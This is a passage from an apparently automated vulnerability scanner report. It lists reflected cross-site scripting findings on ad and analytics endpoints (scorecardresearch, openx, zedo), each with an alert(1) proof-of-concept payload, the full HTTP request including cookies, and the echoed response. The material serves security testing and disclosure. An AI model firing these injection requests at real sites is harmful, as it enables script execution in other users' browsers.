The value of the c4 request parameter is copied into the HTML document as plain text between tags. The payload 61db8<script>alert(1)</script>50d6f957bd2 was submitted in the c4 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=7&c2=5964888&c3=2&c4=61db8<script>alert(1)</script>50d6f957bd2&c5=&c6=&c15=&tm=886978 HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=25894b9d-24.143.206.177-1303083414

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Tue, 17 May 2011 13:11:52 GMT
Date: Tue, 10 May 2011 13:11:52 GMT
Connection: close
Content-Length: 1235

if(typeof COMSCORE=="undefined"){var COMSCORE={}}if(typeof _comscore!="object"){var _comscore=[]}COMSCORE.beacon=function(k){try{if(!k){return}var i=1.8,l=k.options||{},j=l.doc||document,b=l.nav||navi
...[SNIP]...
=[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();

COMSCORE.beacon({c1:"7", c2:"5964888", c3:"2", c4:"61db8<script>alert(1)</script>50d6f957bd2", c5:"", c6:"", c10:"", c15:"", c16:"", r:""});

4.140. http://b.scorecardresearch.com/beacon.js [c5 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c5 request parameter is copied into the HTML document as plain text between tags. The payload cc2f2<script>alert(1)</script>b28e7cf778b was submitted in the c5 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=7&c2=5964888&c3=2&c4=&c5=cc2f2<script>alert(1)</script>b28e7cf778b&c6=&c15=&tm=886978 HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=25894b9d-24.143.206.177-1303083414

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Tue, 17 May 2011 13:11:55 GMT
Date: Tue, 10 May 2011 13:11:55 GMT
Connection: close
Content-Length: 1235

if(typeof COMSCORE=="undefined"){var COMSCORE={}}if(typeof _comscore!="object"){var _comscore=[]}COMSCORE.beacon=function(k){try{if(!k){return}var i=1.8,l=k.options||{},j=l.doc||document,b=l.nav||navi
...[SNIP]...
;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();

COMSCORE.beacon({c1:"7", c2:"5964888", c3:"2", c4:"", c5:"cc2f2<script>alert(1)</script>b28e7cf778b", c6:"", c10:"", c15:"", c16:"", r:""});

4.141. http://b.scorecardresearch.com/beacon.js [c6 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c6 request parameter is copied into the HTML document as plain text between tags. The payload d773b<script>alert(1)</script>a5274c555e was submitted in the c6 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=7&c2=5964888&c3=2&c4=&c5=&c6=d773b<script>alert(1)</script>a5274c555e&c15=&tm=886978 HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=25894b9d-24.143.206.177-1303083414

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Tue, 17 May 2011 13:11:56 GMT
Date: Tue, 10 May 2011 13:11:56 GMT
Connection: close
Content-Length: 1234

if(typeof COMSCORE=="undefined"){var COMSCORE={}}if(typeof _comscore!="object"){var _comscore=[]}COMSCORE.beacon=function(k){try{if(!k){return}var i=1.8,l=k.options||{},j=l.doc||document,b=l.nav||navi
...[SNIP]...
comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();

COMSCORE.beacon({c1:"7", c2:"5964888", c3:"2", c4:"", c5:"", c6:"d773b<script>alert(1)</script>a5274c555e", c10:"", c15:"", c16:"", r:""});

4.142. http://bid.openx.net/json [c parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bid.openx.net
Path:	/json

Issue detail

The value of the c request parameter is copied into the HTML document as plain text between tags. The payload d1609<script>alert(1)</script>fb5617df53c was submitted in the c parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /json?c=OXM_72062228013d1609<script>alert(1)</script>fb5617df53c&pid=f3bb684a-b975-4851-8a12-e3993d28a3e0&s=728x90&f=1.19&cid=&url=http%3A%2F%2Fwww.huffingtonpost.com%2F2011%2F05%2F07%2Frick-santorum-south-carolina-straw-poll_n_859012.html HTTP/1.1
Host: bid.openx.net
Proxy-Connection: keep-alive
Referer: http://ad.doubleclick.net/adi/huffpost.politics/news;featured-posts=1;politics=1;;entry_id=859012;2012-election=1;@mostpopular=1;rick-santorum=1;elections-2012=1;rick-santorum-for-president=1;santorum-for-president=1;rick-santorum-2012=1;rick-santorum-south-carolina-straw-poll=1;santorum-2012=1;south-carolina-primary-election=1;south-carolina-straw-poll=1;south-carolina-straw-poll-2011=1;south-carolina-straw-poll-results=1;global=1;cap_12=n;qcs=D;qcs=T;qcs=2689;qcs=2687;qcs=2685;qcs=1908;qcs=1905;qcs=1592;qcs=683;qcs=680;qcs=679;qcs=678;qcs=666;qcs=665;qcs=657;;plat=win;br=ch;bv=11;subbv=0;load_mode=inline;page_type=bpage;pos=leaderboard_top;u=728x90%7Cbpage%7Cleaderboard_top%7C2012-election,@mostpopular,rick-santorum,elections-2012,rick-santorum-for-president,santorum-for-president,rick-santorum-2012,rick-santorum-south-carolina-straw-poll,santorum-2012,south-carolina-primary-election,south-carolina-straw-poll,south-carolina-straw-poll-2011,south-carolina-straw-poll-results%7C%7C%7CD,T,2689,2687,2685,1908,1905,1592,683,680,679,678,666,665,657%7C859012%7C%7C%7C;sz=728x90;tile=1;ord=72222061?
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: p=1304949602; i=02dd71c0-6aac-4019-82e3-049e51d96c25

Response

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
Cache-Control: no-cache, must-revalidate
P3P: CP="CUR ADM OUR NOR STA NID"
Connection: close
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Pragma: no-cache
Set-Cookie: s=ddf63afa-6ece-4b2b-b8fe-813bbb2611f7; version=1; path=/; domain=.openx.net;
Set-Cookie: p=1305034159; version=1; path=/; domain=.openx.net; max-age=63072000;

OXM_72062228013d1609<script>alert(1)</script>fb5617df53c({"r":"\u003cdiv style\u003d\"position: absolute; width: 0px; height: 0px; overflow: hidden\"\u003e\u003cimg src\u003d\"http://bid.openx.net/log?l\u003dH4sIAAAAAAAAAD2OuU7DQBRFjxM7mcwELLGkZE1BM1I8dgZPQ
...[SNIP]...

4.143. http://c7.zedo.com/bar/v16-406/c5/jsc/fm.js [$ parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://c7.zedo.com
Path:	/bar/v16-406/c5/jsc/fm.js

Issue detail

The value of the $ request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2f41d'%3balert(1)//36a6ed623fc was submitted in the $ parameter. This input was echoed as 2f41d';alert(1)//36a6ed623fc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Request

GET /bar/v16-406/c5/jsc/fm.js?c=4479/4088/1&a=0&f=&n=305&r=13&d=15&q=&$=2f41d'%3balert(1)//36a6ed623fc&s=1128&z=0.20179314771667123 HTTP/1.1
Host: c7.zedo.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDX=29; ZEDOIDA=5ajh4goBADQAAFjiiCYAAABN~042311; __qca=P0-591305981-1304358415303; FFAbh=847B162,20|313_1#365; ZFFAbh=845B826,20|1451_856#376Z1117_846#366Z798_845#365; FFChanCap=1573B496,121#543485#876543#675101:1219,16#736039,18#736041:1099,2#702968|0,15,1:1,15,1:5,15,1:0,9,1:0,9,1:0,17,1; FFCap=1581B1219,212244:1452,206974|0,1,1:0,9,1; FFgeo=2241452; PI=h1023448Za926090Zc305005676%2C305005676Zs1423Zt1129

Response (redirected)

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFpb=305:2f41d';alert(1)//36a6ed623fc;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFcat=305,4479,15;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=0;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFSkp=305,4479,15,1:;expires=Wed, 11 May 2011 05:00:00 GMT;path=/;domain=.zedo.com;
ETag: "90e70110-8181-4a1e245688080"
Vary: Accept-Encoding
X-Varnish: 545954342 545954007
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=185
Expires: Tue, 10 May 2011 13:27:11 GMT
Date: Tue, 10 May 2011 13:24:06 GMT
Connection: close
Content-Length: 963

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();

var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=1128;var zzPat=',2f41d';alert(1)//36a6ed623fc';var zzCustom='';var zzTitle='';
if(typeof zzStr=='undefined'){
var zzStr="q=,2f41d';alert(1)//36a6ed623fc;z="+Math.random();}

if(zzuid=='unknown')zzuid='5ajh4goBADQAAFjiiCYAAABN~042311';

var zzhasA
...[SNIP]...

4.144. http://c7.zedo.com/bar/v16-406/c5/jsc/fm.js [$ parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://c7.zedo.com
Path:	/bar/v16-406/c5/jsc/fm.js

Issue detail

The value of the $ request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6b4b8"%3balert(1)//6fb24e8422d was submitted in the $ parameter. This input was echoed as 6b4b8";alert(1)//6fb24e8422d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Request

GET /bar/v16-406/c5/jsc/fm.js?c=4479/4088/1&a=0&f=&n=305&r=13&d=15&q=&$=6b4b8"%3balert(1)//6fb24e8422d&s=1128&z=0.20179314771667123 HTTP/1.1
Host: c7.zedo.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDX=29; ZEDOIDA=5ajh4goBADQAAFjiiCYAAABN~042311; __qca=P0-591305981-1304358415303; FFAbh=847B162,20|313_1#365; ZFFAbh=845B826,20|1451_856#376Z1117_846#366Z798_845#365; FFChanCap=1573B496,121#543485#876543#675101:1219,16#736039,18#736041:1099,2#702968|0,15,1:1,15,1:5,15,1:0,9,1:0,9,1:0,17,1; FFCap=1581B1219,212244:1452,206974|0,1,1:0,9,1; FFgeo=2241452; PI=h1023448Za926090Zc305005676%2C305005676Zs1423Zt1129

Response (redirected)

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFpb=305:6b4b8";alert(1)//6fb24e8422d;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFcat=305,4479,15;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=0;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFSkp=305,4479,15,1:;expires=Wed, 11 May 2011 05:00:00 GMT;path=/;domain=.zedo.com;
ETag: "90e70110-8181-4a1e245688080"
Vary: Accept-Encoding
X-Varnish: 545954342 545954007
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=185
Expires: Tue, 10 May 2011 13:27:11 GMT
Date: Tue, 10 May 2011 13:24:06 GMT
Connection: close
Content-Length: 963

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();

var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=1128;var zzPat=',6b4b8";alert(1)//6fb24e8422d';var zzCustom='';var zzTitle='';
if(typeof zzStr=='undefined'){
var zzStr="q=,6b4b8";alert(1)//6fb24e8422d;z="+Math.random();}

if(zzuid=='unknown')zzuid='5ajh4goBADQAAFjiiCYAAABN~042311';

var zzhasAd=undefined;

...[SNIP]...

4.145. http://c7.zedo.com/bar/v16-406/c5/jsc/fm.js [q parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://c7.zedo.com
Path:	/bar/v16-406/c5/jsc/fm.js

Issue detail

The value of the q request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 48f24'%3balert(1)//c2de21e2b82 was submitted in the q parameter. This input was echoed as 48f24';alert(1)//c2de21e2b82 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Request

GET /bar/v16-406/c5/jsc/fm.js?c=4479/4088/1&a=0&f=&n=305&r=13&d=15&q=48f24'%3balert(1)//c2de21e2b82&$=&s=1128&z=0.20179314771667123 HTTP/1.1
Host: c7.zedo.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDX=29; ZEDOIDA=5ajh4goBADQAAFjiiCYAAABN~042311; __qca=P0-591305981-1304358415303; FFAbh=847B162,20|313_1#365; ZFFAbh=845B826,20|1451_856#376Z1117_846#366Z798_845#365; FFChanCap=1573B496,121#543485#876543#675101:1219,16#736039,18#736041:1099,2#702968|0,15,1:1,15,1:5,15,1:0,9,1:0,9,1:0,17,1; FFCap=1581B1219,212244:1452,206974|0,1,1:0,9,1; FFgeo=2241452; PI=h1023448Za926090Zc305005676%2C305005676Zs1423Zt1129

Response (redirected)

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFSkp=305,4479,15,1:;expires=Wed, 11 May 2011 05:00:00 GMT;path=/;domain=.zedo.com;
Set-Cookie: FFcat=305,4479,15;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=0;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
ETag: "90e70110-8181-4a1e245688080"
Vary: Accept-Encoding
X-Varnish: 545954342 545954007
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=186
Expires: Tue, 10 May 2011 13:27:11 GMT
Date: Tue, 10 May 2011 13:24:05 GMT
Connection: close
Content-Length: 960

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();

var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=1128;var zzPat='48f24';alert(1)//c2de21e2b82';var zzCustom='';var zzTitle='';
if(typeof zzStr=='undefined'){
var zzStr="q=48f24';alert(1)//c2de21e2b82;z="+Math.random();}

if(zzuid=='unknown')zzuid='5ajh4goBADQAAFjiiCYAAABN~042311';

var zzhasAd
...[SNIP]...

4.146. http://c7.zedo.com/bar/v16-406/c5/jsc/fm.js [q parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://c7.zedo.com
Path:	/bar/v16-406/c5/jsc/fm.js

Issue detail

The value of the q request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7c2c0"%3balert(1)//9ffbd91071c was submitted in the q parameter. This input was echoed as 7c2c0";alert(1)//9ffbd91071c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Request

GET /bar/v16-406/c5/jsc/fm.js?c=4479/4088/1&a=0&f=&n=305&r=13&d=15&q=7c2c0"%3balert(1)//9ffbd91071c&$=&s=1128&z=0.20179314771667123 HTTP/1.1
Host: c7.zedo.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDX=29; ZEDOIDA=5ajh4goBADQAAFjiiCYAAABN~042311; __qca=P0-591305981-1304358415303; FFAbh=847B162,20|313_1#365; ZFFAbh=845B826,20|1451_856#376Z1117_846#366Z798_845#365; FFChanCap=1573B496,121#543485#876543#675101:1219,16#736039,18#736041:1099,2#702968|0,15,1:1,15,1:5,15,1:0,9,1:0,9,1:0,17,1; FFCap=1581B1219,212244:1452,206974|0,1,1:0,9,1; FFgeo=2241452; PI=h1023448Za926090Zc305005676%2C305005676Zs1423Zt1129

Response (redirected)

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFSkp=305,4479,15,1:;expires=Wed, 11 May 2011 05:00:00 GMT;path=/;domain=.zedo.com;
Set-Cookie: FFcat=305,4479,15;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=0;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
ETag: "90e70110-8181-4a1e245688080"
Vary: Accept-Encoding
X-Varnish: 545954342 545954007
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=187
Expires: Tue, 10 May 2011 13:27:12 GMT
Date: Tue, 10 May 2011 13:24:05 GMT
Connection: close
Content-Length: 960

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();

var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=1128;var zzPat='7c2c0";alert(1)//9ffbd91071c';var zzCustom='';var zzTitle='';
if(typeof zzStr=='undefined'){
var zzStr="q=7c2c0";alert(1)//9ffbd91071c;z="+Math.random();}

if(zzuid=='unknown')zzuid='5ajh4goBADQAAFjiiCYAAABN~042311';

var zzhasAd=undefined;

...[SNIP]...

4.147. http://c7.zedo.com/bar/v16-406/c5/jsc/fmr.js [$ parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://c7.zedo.com
Path:	/bar/v16-406/c5/jsc/fmr.js

Issue detail

The value of the $ request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cef17"%3balert(1)//5dd6f0ca795 was submitted in the $ parameter. This input was echoed as cef17";alert(1)//5dd6f0ca795 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /bar/v16-406/c5/jsc/fmr.js?c=4479/4088/1&a=0&f=&n=305&r=13&d=15&q=&$=cef17"%3balert(1)//5dd6f0ca795&s=1128&z=0.20179314771667123 HTTP/1.1
Host: c7.zedo.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDX=29; ZEDOIDA=5ajh4goBADQAAFjiiCYAAABN~042311; __qca=P0-591305981-1304358415303; FFAbh=847B162,20|313_1#365; ZFFAbh=845B826,20|1451_856#376Z1117_846#366Z798_845#365; FFChanCap=1573B496,121#543485#876543#675101:1219,16#736039,18#736041:1099,2#702968|0,15,1:1,15,1:5,15,1:0,9,1:0,9,1:0,17,1; FFCap=1581B1219,212244:1452,206974|0,1,1:0,9,1; FFgeo=2241452; PI=h1023448Za926090Zc305005676%2C305005676Zs1423Zt1129; ZCBC=1

Response

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFpb=305:cef17";alert(1)//5dd6f0ca795;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFcat=305,4479,15;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=0;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFChanCap=1573B496,121#543485#876543#675101:1219,16#736039,18#736041:1099,2#702968:305,4479#940496|0,15,1:1,15,1:5,15,1:0,9,1:0,9,1:0,17,1:0,18,1;expires=Thu, 09 Jun 2011 13:25:31 GMT;path=/;domain=.zedo.com;
Set-Cookie: FFSkp=305,4479,15,1:;expires=Wed, 11 May 2011 05:00:00 GMT;path=/;domain=.zedo.com;
ETag: "90e70110-8181-4a1e245688080"
Vary: Accept-Encoding
X-Varnish: 545954342 545954007
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=392
Expires: Tue, 10 May 2011 13:32:03 GMT
Date: Tue, 10 May 2011 13:25:31 GMT
Connection: close
Content-Length: 7346

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();

var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=1128;var zzPat=',cef17";alert(1)//5dd6f0ca795';var zzCustom='';var zzTitle='';
if(typeof zzStr=='undefined'){
var zzStr="q=,cef17";alert(1)//5dd6f0ca795;z="+Math.random();}

if(zzuid=='unknown')zzuid='5ajh4goBADQAAFjiiCYAAABN~042311';

var zzhasAd=undefined;

var zzDate = new Date()
...[SNIP]...

4.148. http://c7.zedo.com/bar/v16-406/c5/jsc/fmr.js [$ parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://c7.zedo.com
Path:	/bar/v16-406/c5/jsc/fmr.js

Issue detail

The value of the $ request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 45225'%3balert(1)//a6169a977ce was submitted in the $ parameter. This input was echoed as 45225';alert(1)//a6169a977ce in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /bar/v16-406/c5/jsc/fmr.js?c=4479/4088/1&a=0&f=&n=305&r=13&d=15&q=&$=45225'%3balert(1)//a6169a977ce&s=1128&z=0.20179314771667123 HTTP/1.1
Host: c7.zedo.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDX=29; ZEDOIDA=5ajh4goBADQAAFjiiCYAAABN~042311; __qca=P0-591305981-1304358415303; FFAbh=847B162,20|313_1#365; ZFFAbh=845B826,20|1451_856#376Z1117_846#366Z798_845#365; FFChanCap=1573B496,121#543485#876543#675101:1219,16#736039,18#736041:1099,2#702968|0,15,1:1,15,1:5,15,1:0,9,1:0,9,1:0,17,1; FFCap=1581B1219,212244:1452,206974|0,1,1:0,9,1; FFgeo=2241452; PI=h1023448Za926090Zc305005676%2C305005676Zs1423Zt1129; ZCBC=1

Response

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFpb=305:45225';alert(1)//a6169a977ce;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFcat=305,4479,15;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=0;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFChanCap=1573B496,121#543485#876543#675101:1219,16#736039,18#736041:1099,2#702968:305,4479#945899|0,15,1:1,15,1:5,15,1:0,9,1:0,9,1:0,17,1:0,18,1;expires=Thu, 09 Jun 2011 13:25:31 GMT;path=/;domain=.zedo.com;
Set-Cookie: FFSkp=305,4479,15,1:;expires=Wed, 11 May 2011 05:00:00 GMT;path=/;domain=.zedo.com;
ETag: "90e70110-8181-4a1e245688080"
Vary: Accept-Encoding
X-Varnish: 545954342 545954007
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=392
Expires: Tue, 10 May 2011 13:32:03 GMT
Date: Tue, 10 May 2011 13:25:31 GMT
Connection: close
Content-Length: 7327

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();

var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=1128;var zzPat=',45225';alert(1)//a6169a977ce';var zzCustom='';var zzTitle='';
if(typeof zzStr=='undefined'){
var zzStr="q=,45225';alert(1)//a6169a977ce;z="+Math.random();}

if(zzuid=='unknown')zzuid='5ajh4goBADQAAFjiiCYAAABN~042311';

var zzhasA
...[SNIP]...

4.149. http://c7.zedo.com/bar/v16-406/c5/jsc/fmr.js [q parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://c7.zedo.com
Path:	/bar/v16-406/c5/jsc/fmr.js

Issue detail

The value of the q request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d3bf9"%3balert(1)//4cd96356fd9 was submitted in the q parameter. This input was echoed as d3bf9";alert(1)//4cd96356fd9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /bar/v16-406/c5/jsc/fmr.js?c=4479/4088/1&a=0&f=&n=305&r=13&d=15&q=d3bf9"%3balert(1)//4cd96356fd9&$=&s=1128&z=0.20179314771667123 HTTP/1.1
Host: c7.zedo.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
